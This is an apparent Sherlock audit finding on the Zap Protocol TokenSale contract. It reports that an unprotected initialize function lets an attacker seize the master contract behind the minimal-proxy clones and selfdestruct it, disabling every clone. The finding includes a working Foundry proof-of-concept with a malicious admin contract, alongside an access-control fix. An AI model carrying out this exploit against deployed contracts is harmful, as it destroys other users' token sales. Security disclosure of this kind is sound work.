Handsome Sage Deer

high

# All TokenSale clones can be destroyed

## Summary
Due to how the master contract for [`TokenSale`](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/main/zap-contracts-labs/contracts/TokenSale.sol) is instantiated, an attacker can delete the bytecode.

## Vulnerability Detail
Relevant parts in `TokenSale`: [initialize](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/main/zap-contracts-labs/contracts/TokenSale.sol#L71-L93), [destroy](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/main/zap-contracts-labs/contracts/TokenSale.sol#L186-L193)

Zap Labs relies on minimal proxy pattern to deploy cheaply `TokenSale` contracts. Because of this, the `TokenSale` contract does not have a constructor and instead relies on `initialize` method. Because of missing access controls, a bad actor can call `initialize` on the master contract and then invoke `destroy`. This will remove the bytecode that all clones forward to, rendering them unusable.

One of the enabling factors of this attack is the fact that Blast L2 is running on Cancun's EVM version. This means that `selfdestruct` op code removes the bytecode of a contract once called.

## Impact
All TokenSale clones can have their bytecode deleted.

## Code Snippet

To verify that Blast L2 removes bytecode on `selfdestruct`, you can [deploy this contract on Blast-Sepolia](https://gist.github.com/georgiIvanov/a82d6b4246526e44c52a332377cfe8ce).
Or check out this already [destructed one](https://testnet.blastscan.io/address/0xE9e0fb3d685F60897610b421B51D3321F95f6f69).

**PoC of attack**

1. Add Foundry following [these instructions](https://book.getfoundry.sh/config/hardhat#adding-foundry-to-a-hardhat-project).
2. Add remappings.txt in the root folder 
```bash
@openzeppelin/=node_modules/@openzeppelin/
ds-test/=lib/forge-std/lib/ds-test/src/
forge-std/=lib/forge-std/src/
@src/=contracts/
@test/=test/
```

3. Create file `test/MockERC20.sol` with the following content:
```sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
  
  uint8 internal _decimals;

  constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_
    ) ERC20(name_, symbol_) {
      _decimals = decimals_;
    }
    
  function mint(address to, uint256 amount) public {
    _mint(to, amount);
  }

  function decimals() public view override returns (uint8) {
    return _decimals;
  }
}
```
4. Create file `test/TokenSaleDestroyTest.t.sol`
```sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Test, console2} from "forge-std/Test.sol";

import "@src/Admin.sol";
import "@src/TokenSale.sol";
import "@src/interfaces/ITokenSale.sol";
import "@test/MockERC20.sol";

contract MaliciousAdmin {
  address owner;
  constructor() {
    owner = msg.sender;
  }

  function hasRole(bytes32 role, address account) external view returns (bool) {
    return account == owner;
  }

  function wallet() external view returns (address) {
    return owner;
  }
}

contract TokenSaleDestroyTest is Test {
  address deployer = makeAddr("deployer");
  Admin admin;

  function testDestroy() public {
    vm.startPrank(deployer);
    admin = new Admin();
    admin.initialize(deployer);

    TokenSale masterContract = new TokenSale();

    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);
    MaliciousAdmin maliciousAdmin = new MaliciousAdmin();
    ITokenSale.Params memory params = ITokenSale.Params(1000, 0, 5, 0);
    MockERC20 usdc = new MockERC20("USDC", "USDC", 6);
    vm.etch(address(0xA9F81589Cc48Ff000166Bf03B3804A0d8Cec8114), address(usdc).code);
    masterContract.initialize(params, attacker, address(maliciousAdmin), type(uint256).max, 0, false, 0);
    masterContract.destroy();
  }
}
```
> Forge's EVM runtime doesn't delete the bytecode of self-destructed contracts.

## Tool used

Manual Review

## Recommendation
Add access controls, so that `TokenSale->initialize` can be called only by the `Admin` contract.
